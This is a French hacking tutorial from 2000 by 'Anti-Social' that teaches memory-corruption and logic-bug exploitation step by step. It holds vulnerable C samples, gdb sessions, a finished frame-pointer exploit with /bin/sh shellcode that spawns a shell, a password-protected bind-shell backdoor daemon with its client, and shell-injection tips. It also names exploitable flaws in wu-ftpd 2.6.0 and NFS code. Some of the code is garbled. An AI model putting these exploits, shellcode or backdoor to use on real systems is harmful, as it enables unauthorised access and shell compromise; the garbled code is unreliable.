/*************************************************************************** Exploitation De Bugs (Texte Version 3) -------------------- begin : Thu Jui 26 2000 copyright : (C) 2000 by Anti-Social email : anti-social@usa.com site : Bientôt... ***************************************************************************/ /* Ce texte est l'aide aux programmes: ScanS & ScanB */ 1- Explication des differents bugs ___________________________________ a- Buffer Overflow ================== ( buffer == espace dans la memoire ) ( overflow == depassement ) ( buffer overflow == dépassement d'espace mémoire ) Le but est de réinscrire le RET pour le modifier par un autre qui pointera sur une autre adresse desirée (par example celle d'un shellcode).Toutes methodes d'overflow reposent sur ce concepte! schema: ------- buffer intacte: [buffer][RET] taille: 10 8 buffer apres overflows: [ buffer ] [buffer] == l'espace memoire [RET] == l'adresse qui va pointer sur la prochaine fonction (qui suit celle du remplissage du buffer) [ buffer ] == Apres le buffer overflow, nous ecrivons sur le RET , puisque il y a dans le buffer 18 caractères. Donc nous pouvons mettre n'importe quelle adresse qui sera contenu sur les 8 derniers octets. /* (1octet = 8 bits) (8bits = 2^8 = 256 ) */ Buffer apres overflow: [AAAAAAAAAAbffffc58] Caractères sans importances | Nouvelle RET qui pointe vers un shell J'espere que vous aurrez compris le principe , c'est super simple quand on pige bien. a- Probleme de collage de buffer ================================ Ce probleme est à mon avis tres rare car il serait vite repéré. /* Anti-Social */ /* Pb collage buff 1 */ #include void bou(char *bou){ char buf[24]; strcpy(buf,bou); printf("%s\nbuf); } main(int argc, char *argv[]){ char buf2[24]; char buf3[12]; sprintf(buf3,"BBBBBBBBBBBB"); snprintf(buf2,24,"%s",argv[1]); bou(buf3); } /* FIN */ $./teste1 `perl -e 'print "A" x 11'` BBBBBBBBBBBBAAAAAAAAAAA $./teste1 `perl -e 'print "A" x 12'` Erreur de segmentation /* Anti-Social */ /* Pb collage buff 2 */ #include void bou(char *bou){ char buf[8]; strcpy(buf,bou); printf("%s",buf); } main(int argc, char *argv[]){ char buf2[16]; char buf3[8]; fgets(buf2, 16, stdin); strncpy(buf3, buf2, 8); bou(buf3); } /* FIN */* $./teste2 AAAAAA AAAAAA $./test2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Erreur de segmentation c- Format Bugs ============== Ce bug est tres tres con mais falait le trouver, et c'est Lamagra qui la trouvé apparament... Les fonctions vulnerbales par ce bug: printf(); snprintf(); vsnprintf(); peut etre d'autre... Voici des examples de codes vulnerable: /* hole1.c */ /* Anti-Social */ main(int argc,char **argv) { char buf[16]; strncpy(buf,argv[1],16); printf(buf); putchar('\n'); } /* FIN*/ /* hole2.c */ /* Anti-Social */ main(int argc,char **argv) { char buf[16]; snprintf(buf,argv[1],16); printf("%s\n",buf); } /* FIN*/ /* hole3.c */ /* Anti-Social */ main(int argc,char **argv) { char buf[16]; vsnprintf(buf,argv[1],16); printf("%s\n",buf); } /* FIN*/ C'est 3 programmes teste donne le meme resultat: $./hole* AAAA%p AAAA0x41414141 Cette example devrait vous ouvrire les yeux, en faite le truc qui se passe c'est que le printf marche comme cela: Format String Expressions ^ ^ _______________ ___________ | | | | printf( "bla bla %s %p" ,bla ,&bla ); Les %s , %p , ... sont des indicateurs. Les autres: %c , %x , %X , %d , %n , %f , %i , %u , %e , %E , %g , %G , %o ,... Pour exploiter cette faille il faut bien compendre le principe, mais en faite c'est tres tres simple, et les possibilitées sont extrodinaire. Grace à ce bug on peut réecrire une adresse.Par example on peut réinscrire un registre (%eip, %esp, ...). Pour cela, il suffie de faire: \x10\xfb\xff\xbf%p%n %p va print la premiere adresse. %n rentre l'adresse print par %p dans 0xbfffbf10. example: -------- /* Example1.c */ /* Anti-Social */ main(int argc,char **argv) { char buf[1024]; char sux[32]; snprintf(buf,1024,argv[1]); printf("So:%s\n",buf); } /* FIN */ $./example1 AAAA%p%p%p%p%p%p%p%p%p So:AAAA(nil)0x8048240(nil)0x10x400006300xbffff4180x400073b50x400150000x41414141 On vois que un adresse 0x41414141 (donnée par AAAA[argv]) est à la position: "%p%p%p%p%p%p%p%p%p". $gdb -q ./example1 (gdb) disassemble main Dump of assembler code for function main: 0x8048340
: push %ebp 0x8048341 : mov %esp,%ebp 0x8048343 : sub $0x420,%esp 0x8048349 : mov 0xc(%ebp),%eax 0x804834c : add $0x4,%eax 0x804834f : mov (%eax),%edx 0x8048351 : push %edx 0x8048352 : push $0x400 0x8048357 : lea 0xfffffc00(%ebp),%eax 0x804835d : push %eax 0x804835e : call 0x80482b4 0x8048363 : add $0xc,%esp 0x8048366 : lea 0xfffffc00(%ebp),%eax 0x804836c : push %eax 0x804836d : push $0x80483dc 0x8048372 : call 0x80482a4 0x8048377 : add $0x8,%esp 0x804837a : mov %ebp,%esp 0x804837c : pop %ebp 0x804837d : ret End of assembler dump. (gdb) break *0x804835e Breakpoint 1 at 0x804835e: file example.c, line 29. (gdb) break *0x8048363 Breakpoint 2 at 0x8048363: file example.c, line 29. (gdb) r Starting program: ./example1 print &sux Breakpoint 1, 0x804835e in main (argc=1, argv=0xbffff894) at example1.c:29 29 snprintf(buf,1024,argv[1]); (gdb) print &sux $1 = (char (*)[32]) 0xbffff428 (gdb) r AAAA\x28\xf4\xff\xbf%p%p%p%p%p%p%p%p%p%n The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: ./example1 AAAA\x28\xf4\xff\xbf%p%p%p%p%p%p%p%p%p%n Breakpoint 1, 0x804835e in main (argc=2, argv=0xbffff874) at example1.c:29 29 snprintf(buf,1024,argv[1]); (gdb) x 0xbffff428 0xbffff428: 0x0000a911 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x400672d0 in _IO_vfprintf (s=0xbffff2f4, format=0xbffff9e0 "AAAAx28xf4xffxbf%p%p%p%p%p%p%p%p%p%n", ap=0xbffff430) at vfprintf.c:1212 (gdb) x 0xbffff428 0xbffff428: 0x41414141 (gdb) Autre probleme exploitable grace à cette technique: /* protection_b00m => 8.c */ /* Anti-Social */ #include int main(char *argc,char **argv) { char buf[24]; if(strlen(argv[1]) produit 200 x "0" */ $gdb -q ./8t (gdb) r %.24dAAAAAAAA Starting program: ./8 %.24dAAAAAAAA OVERFLOWWWW Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg eax 0xc 12 ecx 0x401147c0 1074874304 edx 0xc 12 ebx 0x40115ff8 1074880504 esp 0xbffff830 0xbffff830 ebp 0x41414130 0x41414130 esi 0x4000ac70 1073785968 edi 0xbffff874 -1073743756 eip 0x41414141 0x41414141 eflags 0x10292 66194 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) Il sufit de mettre dans le buffer: [ b u f f e r ] [shellcode][%.taille_du_buffer-shell_coded][RET_qui_pointe_sur_le_shell_code] Tadaaaaaaa!!!! C'est super simple... Bonne chance et encore merci lamagra! ps: Il y a un format bug dans wuftp 2.6.0 pas le officiel , regardé dans ftp.c:statfilecmd()... & syslog() à le meme problème.... d- Frame pointer ================ Cette methode a été trouvée par Klog. Il s'agit d'overflow un "frame pointer". Cette methode parut dans phrack55 a été tres tres tres mal expliqué par klog, code faussés,... (brave klog)... Le mieux pour comprendre est un example: /* Frame Pointer => 9.c */ /* Anti-Social */ #include main(int argc, char *argv[]){ foo(argv[1]); } foo(char *over){ char buffer[256]; int i; for(i=0;over[i];i++) buffer[i]=over[i]; } /* FIN */ $cc -g -o 9 9.c $gdb -q 9 (gdb) disassemble main Dump of assembler code for function main: 0x80482d0
: push %ebp 0x80482d1 : mov %esp,%ebp 0x80482d3 : mov 0xc(%ebp),%eax 0x80482d6 : add $0x4,%eax 0x80482d9 : mov (%eax),%edx 0x80482db : push %edx 0x80482dc : call 0x80482f0 0x80482e1 : add $0x4,%esp 0x80482e4 : mov %ebp,%esp 0x80482e6 : pop %ebp 0x80482e7 : ret 0x80482e8 : nop 0x80482e9 : lea 0x0(%esi,1),%esi End of assembler dump. (gdb) disassemble foo Dump of assembler code for function foo: 0x80482f0 : push %ebp 0x80482f1 : mov %esp,%ebp 0x80482f3 : sub $0x104,%esp 0x80482f9 : nop 0x80482fa : movl $0x0,0xfffffefc(%ebp) 0x8048304 : mov 0x8(%ebp),%eax 0x8048307 : add 0xfffffefc(%ebp),%eax 0x804830d : cmpb $0x0,(%eax) 0x8048310 : jne 0x8048320 0x8048312 : jmp 0x8048350 0x8048314 : lea 0x0(%esi),%esi 0x804831a : lea 0x0(%edi),%edi 0x8048320 : lea 0xffffff00(%ebp),%edx 0x8048326 : mov %edx,%eax 0x8048328 : add 0xfffffefc(%ebp),%eax 0x804832e : mov 0x8(%ebp),%edx 0x8048331 : add 0xfffffefc(%ebp),%edx 0x8048337 : mov (%edx),%cl 0x8048339 : mov %cl,(%eax) 0x804833b : incl 0xfffffefc(%ebp) 0x8048341 : jmp 0x8048304 0x8048343 : lea 0x0(%esi),%esi 0x8048349 : lea 0x0(%edi,1),%edi 0x8048350 : mov %ebp,%esp 0x8048352 : pop %ebp 0x8048353 : ret End of assembler dump. (gdb) break *0x8048352 Breakpoint 1 at 0x8048352: file 9.c, line 10. (gdb) break *0x8048353 Breakpoint 2 at 0x8048353: file 9.c, line 10. (gdb) break *0x80482e6 Breakpoint 3 at 0x80482e6: file 9.c, line 4. (gdb) break *0x80482e7 Breakpoint 4 at 0x80482e7: file 9.c, line 4. (gdb) r `perl -e 'printf "A"x257'` Starting program: ./9 `perl -e 'printf "A"x257'` Breakpoint 1, 0x8048352 in foo (over=0xbffff903 'A' ...) at 9.c:10 10 } (gdb) c Continuing. Breakpoint 2, 0x8048353 in foo ( over=0x13bffff7
) at 9.c:10 10 } (gdb) info reg ebp ebp 0xbffff741 0xbffff741 (gdb) info reg esp esp 0xbffff740 0xbffff740 (gdb) c Continuing. Breakpoint 3, 0x80482e6 in main (argc=331350007, argv=0x2400383) at 9.c:4 4 } (gdb) info reg ebp ebp 0xbffff741 0xbffff741 (gdb) info reg esp esp 0xbffff741 0xbffff741 (gdb) c Continuing. Breakpoint 4, 0x80482e7 in main (argc= Cannot access memory at address 0x308048a. ) at 9.c:4 4 } (gdb) info reg esp esp 0xbffff745 0xbffff745 (gdb) x/wx 0xbffff745 0xbffff745: 0x68bffff9 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x68bffff9 in ?? () /* * Ici on run le programmme avec 257 x A donc le buffer overflow * et le dernier des caracteres à copier se retrouve sur %ebp * qui celui-ci va se copier dans %esp puis l'adresse contenue * dans son pointer (ici = 0x68bffff9) va sur %eip . */ /* * Pour verifier que c'est bien nous qui alterons le dernier bit, * nous allons lancer le programme avec B (0x42 * 257) . */ (gdb) r `perl -e 'printf "B"x257'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: ./9 `perl -e 'printf "B"x257'` Breakpoint 1, 0x8048352 in foo (over=0xbffff903 'B' ...) at 9.c:10 10 } (gdb) c Continuing. Breakpoint 2, 0x8048353 in foo (over=0x8313bfff "") at 9.c:10 10 } (gdb) info reg esp esp 0xbffff740 0xbffff740 (gdb) info reg ebp ebp 0xbffff742 0xbffff742 (gdb) c Continuing. Breakpoint 3, 0x80482e6 in main (argc=-2095857665, argv=0x24003) at 9.c:4 4 } (gdb) info reg esp esp 0xbffff742 0xbffff742 (gdb) info reg ebp ebp 0xbffff742 0xbffff742 (gdb) c Continuing. Breakpoint 4, 0x80482e7 in main (argc= Cannot access memory at address 0xf903080c. ) at 9.c:4 4 } (gdb) info reg esp esp 0xbffff746 0xbffff746 (gdb) info reg ebp ebp 0xf9030804 0xf9030804 (gdb) x/wx 0xbffff746 0xbffff746: 0xf768bfff (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xf768bfff in ?? () /* * Ok donc c'est bien nous donc maintenant comment modifier * l'adresse que pointe notre adresse modifiée par 1bit? */ /* * Ca deviens un tout petit plus compliqué à comprendre. * En faite il suffie de trouvé une adresse qui pointe * sur la fin de notre buffer (over) mais pas tout à fait * sur la fin en faite sizeof(over) - 1 car le dernier bit * qui se trouve dans notre buffer est celui qui altère * %ebp sur 1bit . * A ce moment il va se passer que cette adresse contiendra * une autre adresse qui pointera sur notre shellcode. * En faite l'adresse que nous allons trouver sera en * : 0xbffff7** car nous pouvont modif que cette partie * de %ebp. * [0xbffff7**] => pointe sur un parti de notre buffer, * à cette endroit ce trouve une autre adresse [0x********] * ([0x********] cette adresse est emise par nous sur le buffer) * qui pointera sur notre shellcode. */ (gdb) x/wx 0xbffff725 0xbffff725: 0x42424242 (gdb) x/wx 0xbffff735 0xbffff735: 0x42424242 (gdb) x/wx 0xbffff745 0xbffff745: 0x68bffff9 (gdb) x/wx 0xbffff740 0xbffff740: 0x080482e1 (gdb) x/wx 0xbffff738 0xbffff738: 0x42424242 (gdb) x/wx 0xbffff739 0xbffff739: 0x42424242 /* * La fin de notre buffer est à : 0xbffff739 * mais vu qu'il faut enlever 1bit, * elle est egale à : 0xbffff738 * Mais vue que vous avez du remarquer que * quand %ebp ce copi dans %esp , %esp est * egal à %ebp + 0x4 donc pour notre adresse * 0xbffff738 , nous allons prendre juste le dernier * bit (0x38) et nous allons lui enlever 0x4 ce qui * donne 0x34 mais il faut enlever 0x4 encore pour * l'adresse que le pointer pointe au debut de celle-ci. * Ce qui donne 0x34 - 0x4 = 0x30. On va verifier: */ /* Autre session gdb */ $gdb -q 9 (gdb) r `perl -e 'printf "\x30"x257'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: ./9 `perl -e 'printf "\x30"x257'` Program received signal SIGSEGV, Segmentation fault. 0x30303030 in ?? () /* * On tombe bien sur des caracteres de notre buffer! */ (gdb) r `perl -e 'printf "\x34"x257'` Starting program: ./9 `perl -e 'printf "\x34"x257'` Program received signal SIGSEGV, Segmentation fault. 0x34343434 in ?? () /* * De 0x30 à 0x34 Il y a bien des carateres de notre buffer. */ (gdb) r `perl -e 'printf "\x36"x257'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: ./9 `perl -e 'printf "\x36"x257'` Program received signal SIGSEGV, Segmentation fault. 0xf7363636 in ?? () (gdb)quit $ /* * Nous avons bien la fin de notre buffer à 0x35 !!! */ /* Fin session special gdb */ /* * On peut voir que 0x34 n'etait pas bon car en faite * c'est la fin du /* * L'adresse que nous allons mettre de 0xbffff734 à 0xbffff738 * sera celle du debut du buffer, donc il nous reste à trouver * l'adresse du debut du buffer . Vue que notre buffer est de 257 * 257(dec)= 101(hex) : 0x738 - 0x101 = 0x637 Ca devrais se trouver * par là... */ (gdb) x/wx 0xbffff637 0xbffff637: 0x00010140 (gdb) x/wx 0xbffff638 0xbffff638: 0x00000101 (gdb) x/wx 0xbffff639 0xbffff639: 0x42000001 (gdb) x/wx 0xbffff640 0xbffff640: 0x42424242 /* * Trouvé!!!!! */ Maintenant que nous avons toutes les informations , nous pouvons exploiter la faille: /* Exploit pour 9.c => exp.c */ /* Anti-Social */ #include char shellcode[] = /* shellcode */ "\xeb\x16\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b" "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh"; main() { int i; char addr[]="\xbf\xff\xf6\x40\x30"; /* * adresse du debut du buffer: 0xbffff640 * + * le bit d'alteration de %ebp */ char nop[]="\x90"; /* NOP*/ char buffer[1024]; /* notre buffer */ bzero(buffer, 1024); /* on remet le buffer à zero */ for(i=0;i<=215;i++){ /* strcat(buffer,nop); * On remplit le buffer avec 215 x NOP (0x90) } */ strcat(buffer,shellcode); /* On entre notre shellcode dans le buffer */ strcat(buffer,addr); /* on entre nos adresses */ printf("buffer=%d\n",strlen(buffer)); /*on verifie la taille de notre buffer*/ execl("./9","9", buffer, NULL); /* On balance la sauce!!! */ /* * [ b u f f e r ] * [NOP][shellcode][RET-shellocde][Addr-qui-altere-%ebp-sur-1bit] */ } /* FIN */ $cc -o exp exp.c $./exp 257 ë[‰1ÀˆC‰C ° S Í€èåÿÿÿ/bin/sh¿ÿö@0 sh-2.03$ C'est pas beau ca?!!!!! J'espere que vous arriverez à bien comprendre car ce n'est pas tres simple à expliquer... En regardant les sources de nfs, j'ai été illuminé par une idée! En faite c'est tres simple: /* lignes pompées des sources de nfs 2.2 beta 47 */ if (strlen(fhc->path) + strlen(dopa->name) + 1 >= NFS_MAXPATHLEN) return NFSERR_NAMETOOLONG; sp = fhc->path; while (*sp) /* strcpy(buf, fhc->path); */ *buf++ = *sp++; *buf++ = '/'; /* strcat(buf, "/"); */ sp = dopa->name; while (*sp) { /* strcat(pathbuf, argp->where.name); */ if (*sp == '/') return NFSERR_INVAL; *buf++ = *sp++; } *buf = '\0'; /* FIN */ Pour ceux qui aurrait pas comprit, il s'agit d'une fonction qui est identique a un strcpy... Donc un frame pointer bug!! Mais la ou il y a un petit problème, c'est qui verifie que la taille de fhc->path & dopa->name pour voir si elle depasse pas la taille MAX du buffer... Mais la personne qui a codé cela n'a pas du lire le man de strlen ou il est vraiment tebé! Comme vous le savez strlen donne la taille de la chaine jusqu'a quelle trouve un caractère NULL (\x00) mais par contre "while (*sp)*buf++ = *sp++;" va copier les caractères NULL au defaut de strcpy... Pour ce qui serait vraiment tebé: /* retransition des lignes pompées des sources de nfs 2.2 beta 47 */ if (strlen(\x00AxNFS_MAXPATHLEN+4) + strlen(\x00) + 1 >= NFS_MAXPATHLEN) return NFSERR_NAMETOOLONG; sp = "\x00AxNFS_MAXPATHLEN+4"; while (*sp) /* strcpy(buf, fhc->path); */ *buf++ = *sp++; /* buf = "\x00AxNFS_MAXPATHLEN+4" * OVERFLOW!!!!!!!!!!!! */ /* FIN */ Donc le frame pointeur n'est pas un mite, il est realité, donc merci à toi Klog! e-Bugs liés au caractere "NULL" (0x00)... =========================================== Ce-ci est un bug logique...Je pense que on a deja dus l'exploité... exemple: -------- /* Anti-Social */ /* Ex1.c */ /* 0x00 pb */ main(){ { char dec[]="BB"; char topic[]="\x00"; int len; len = strlen(topic); if(!strncmp(topic, dec, len)){ printf("BRAVO\n"); } else{ printf("BLA\n"); } } /* FIN */ $./Ex1 BRAVO Deja grace a ce bug on peut passé des comparateurs de chaine(ex:strncmp,...). /* EN TRAVAUX */ ... Exemple de programme exploitable: /* Anti-Social */ /* Bug \x00 */ /* taupe.c */ #include #include #include #include #include #include #include #include #include #include #include #include #define PASSWD "GRos-BuG" #define PORT 45555 #define SHELL "/bin/sh" #define SHELLNAME "sh" main() { char buff[100]; int n; int sock, fd, client_len; struct sockaddr_in server, client; void childw(); sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); server.sin_family=AF_INET; server.sin_addr.s_addr=INADDR_ANY; server.sin_port=htons(PORT); bind(sock,(struct sockaddr *)&server, sizeof server); client_len=sizeof client; if(fork()) exit(0); signal(SIGHUP, SIG_IGN); signal(SIGTTOU,SIG_IGN); signal(SIGTTIN,SIG_IGN); signal(SIGTSTP,SIG_IGN); listen(sock,5); if((fd=open("/dev/tty",O_RDWR))>=0) { ioctl(fd,TIOCNOTTY,(char *)NULL); close(fd); } while(1) { setpgrp(); while((fd=accept(sock,(struct sockaddr *)&client,&client_len)) == -1) { perror("accepting connection"); exit(3); } if(fork()) { do { write(fd,"\nPASSWORD:",11); n=read(fd,buff,100); } while(n>0 && strncmp(PASSWD,buff,strlen(PASSWD))); write(fd,"Hi, good password! BACKDOOR S.N.T.!\n",36); dup2(fd,0); dup2(fd,1); dup2(fd,2); execl(SHELL,SHELLNAME,0); close(fd); } close(fd); } /* FIN */ /* Anti-Social */ /* Bug \x00 */ /* Exp.c Exploit taupe.c */ #include #include #include #include #include #include #include #include #include void prise(int leesock); int connect_tcp(struct in_addr addr,unsigned short port); int fdprintf(int dafd,char *fmt,...); struct in_addr victim; int main (int argc,char **argv) { char recvbuf[1024]; int sockfd; int i; printf("Anti-Social\nBug \x00\n"); if (argc != 2) { printf("Usage: %s \n",argv[0]); exit(0); } if (!host_to_ip(argv[1],&victim)) { fprintf(stderr,"Erreur de resolution hostname\n"); exit(0); } if ((sockfd=connect_tcp(victim,23)) < 0) { printf("Ta pas lancé la taupe je crois...\n"); } else{ printf("Lancement de l'exploit...OK\n"); sleep(2); read(sockfd,recvbuf,1024); printf("Envoie passwd..."); if (strstr(recvbuf,"PASSWORD:")) { printf("OK\n"); } else{ printf("Erreur\n"); exit(-1); } printf("Envoie BUG..."); write(sockfd,"\x00\x90\r\n"); printf("OK\n"); prise(sockfd); } } /* prise de connection */ void prise(int lesock) { int n; char recvbuf[1024]; fd_set rset; while (1) { FD_ZERO(&rset); FD_SET(lesock,&rset); FD_SET(STDIN_FILENO,&rset); select(lesock+1,&rset,NULL,NULL,NULL); if (FD_ISSET(lesock,&rset)) { n=read(lesock,recvbuf,1024); if (n <= 0) { printf("Connection fermée\n"); exit(0); } recvbuf[n]=0; printf("%s",recvbuf); } if (FD_ISSET(STDIN_FILENO,&rset)) { n=read(STDIN_FILENO,recvbuf,1024); if (n>0) { recvbuf[n]=0; write(lesock,recvbuf,n); } } } } /* CONNECTION */ int connect_tcp(struct in_addr addr,unsigned short port) { struct sockaddr_in serv; int thesock,flags; thesock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bzero(&serv,sizeof(serv)); memcpy(&serv.sin_addr,&addr,sizeof(struct in_addr)); serv.sin_port=htons(port); serv.sin_family=AF_INET; if (connect(thesock,(struct sockaddr *)&serv,sizeof(serv)) < 0) return(-1); else return(thesock); } int host_to_ip(char *hostname,struct in_addr *addr) { struct hostent *res; res=gethostbyname(hostname); if (res==NULL) return(0); memcpy((char *)addr,res->h_addr,res->h_length); return(1); } /* FIN */ /* FIN TRAVAUX ... */ f- Escape shell =============== Un escape shell est en faite une fonction qui fait appel à un shell ( example : system(); ) , et si on a un access dessus , on peut detourner la commande à executer. example: ------- char buffer[4096]; snprintf(buffer,4096,"ls -la /%s",argv[1]); system(buffer); Si argv[1] contient un signe: ";" "&" "|" ... Je vous laisse tester... g- divers ========= - L'effacement de buffer -------------------------- Ce-ci n'est pas vraiment un bug , en faite il s'agit d'un truc tout simple c'est les caracteres "\n" "\r" "\b", celui qui nous interesse le plus : -"\b" : caractère de retour arrière(deplace le curseur d'un caractère vers la gauche) -"\r" : caractere debut de ligne (place le curseur au debut de la ligne en cours) Donc imaginons que un snprintf vas sur un "open,system,..." il suffie deffacé tous pour reinscrire le buffer! - Race Condition ----------------- exploitation d'un état peu sur,provisoirement créé par l'exécution d'un programme pour accéder aux données sensibles. - inconue ---------- Celle-la c'est a toi de l'inventer.... 2- Chercher la faille _____________________ Pour ca plusieurs solutions: -Un scan. -Faire à la main , un par un.... J'en vois pas beaucoup d'autres.... Toutes les informations peuvent etre interessante, il ne faut pas se dire cette fonction n'est pas dans ma liste de fonctions vulnerbale , donc je la laisse tomber car celle-ci est peut etre un bug non connu... Biensur il faut aussi bien connaitre le langage sur le quelle vous recherchez un bug. a- Verification d'une potentielle faille ---------------------------------------- Deja compilé le programme, puis vous prenez gdb(l'ami de l'homme comme dirait aleph1). "cc -g -o file file.c" example: -------- Anti-Social@:~/> gdb -q ./b2 (gdb) disassemble main Dump of assembler code for function main: 0x8048330
: push %ebp 0x8048331 : mov %esp,%ebp 0x8048333 : sub $0x200,%esp 0x8048339 : mov 0xc(%ebp),%eax 0x804833c : add $0x4,%eax 0x804833f : mov (%eax),%edx 0x8048341 : push %edx 0x8048342 : push $0x80483cc 0x8048347 : lea 0xfffffe00(%ebp),%eax 0x804834d : push %eax 0x804834e : call 0x80482b0 0x8048353 : add $0xc,%esp 0x8048356 : lea 0xfffffe00(%ebp),%eax 0x804835c : push %eax 0x804835d : push $0x80483d0 0x8048362 : call 0x80482a0 0x8048367 : add $0x8,%esp 0x804836a : mov %ebp,%esp 0x804836c : pop %ebp 0x804836d : ret End of assembler dump. (gdb) x/8 0x80483cc 0x80483cc <_IO_stdin_used+4>: 0x000a7325 Cannot access memory at address 0x80483d0. (gdb) break main Breakpoint 1 at 0x8048339: file b2.c, line 5. (gdb) r Starting program: ./b2 Breakpoint 1, main (argc=1, argv=0xbffff894) at b2.c:5 5 sprintf(bla,"%s\n",argv[1]); (gdb) print &bla $1 = (char (*)[512]) 0xbffff648 (gdb) print &argv[1] $2 = (char **) 0xbffff898 (gdb) print argv[1] $3 = 0x0 (gdb) info reg eax 0xbffff89c -1073743716 ecx 0x8048330 134513456 edx 0x40116ed4 1074884308 ebx 0x40115ff8 1074880504 esp 0xbffff648 0xbffff648 ebp 0xbffff848 0xbffff848 esi 0x4000ac70 1073785968 edi 0xbffff894 -1073743724 eip 0x8048339 0x8048339 eflags 0x286 646 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) break *0x804834e Breakpoint 2 at 0x804834e: file b2.c, line 5. (gdb) c Continuing. Breakpoint 2, 0x804834e in main (argc=1, argv=0xbffff894) at b2.c:5 5 sprintf(bla,"%s\n",argv[1]); (gdb) info reg eax 0xbffff648 -1073744312 /* adresse de bla */ ecx 0x8048330 134513456 edx 0x0 0 /* contenu de argv[1] */ ebx 0x40115ff8 1074880504 esp 0xbffff63c 0xbffff63c /* push $0x80483cc */ /* entrée user */ ebp 0xbffff848 0xbffff848 esi 0x4000ac70 1073785968 edi 0xbffff894 -1073743724 eip 0x804834e 0x804834e /* call sur sprintf */ eflags 0x282 642 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) x/8 0xbffff63c 0xbffff63c: 0x48 0xf6 0xff 0xbf 0xcc 0x83 0x04 0x08 /* 0x080483cc */ (gdb) x/8 0x080483cc 0x80483cc <_IO_stdin_used+4>: 0x25 0x73 0x0a 0x00 0x25 0x73 0x00 0x00 /* le push */ (gdb) x/8 0xbffff848 0xbffff848: 0x68 0xf8 0xff 0xbf 0x13 0x83 0x03 0x40 /* 0xbffff868 */ (gdb) x/16 0xbffff868 0xbffff868: 0x00 0x00 0x00 0x00 0xe1 0x82 0x04 0x08 (gdb) x/8 0x080482e1 0x80482e1 <_start+33>: 0xf4 0x90 0x90 0x90 0x90 0x90 0x90 0x90 Voila maintenant à vous d'utiliser ces informations à votre avantage. 3- Exploitation de la faille ____________________________ - Ecrire le code ------------------ En general c'est assez simple... Recherche de l'offset + bufsize. Le seul probleme peut etre quelle shell code utiliser? Cela depend le prog exploité, si c'est en local un /bin/sh suffi, sinon utilisé un shell bind sur un port ou un truc dans le style si vous n'etes pas sur. 4- Faire un patch _________________ Pour un buffer overflow suffie de mettre une fonction secure: snprintf , strncpy , strncat, memccpy ... Pour un escape shell suffie de verifier ce qui entre avec strncmp par example... Apres avoir réécrie le fichier faite: $diff ancien-fichier.c nouveau-fichier.c > patch.diffs Pour appliquer le patch: $patch ancien-fichier.c patch.diffs Voila c'est fini , j'espere que ca vous aurra aidé! @Anti-Social@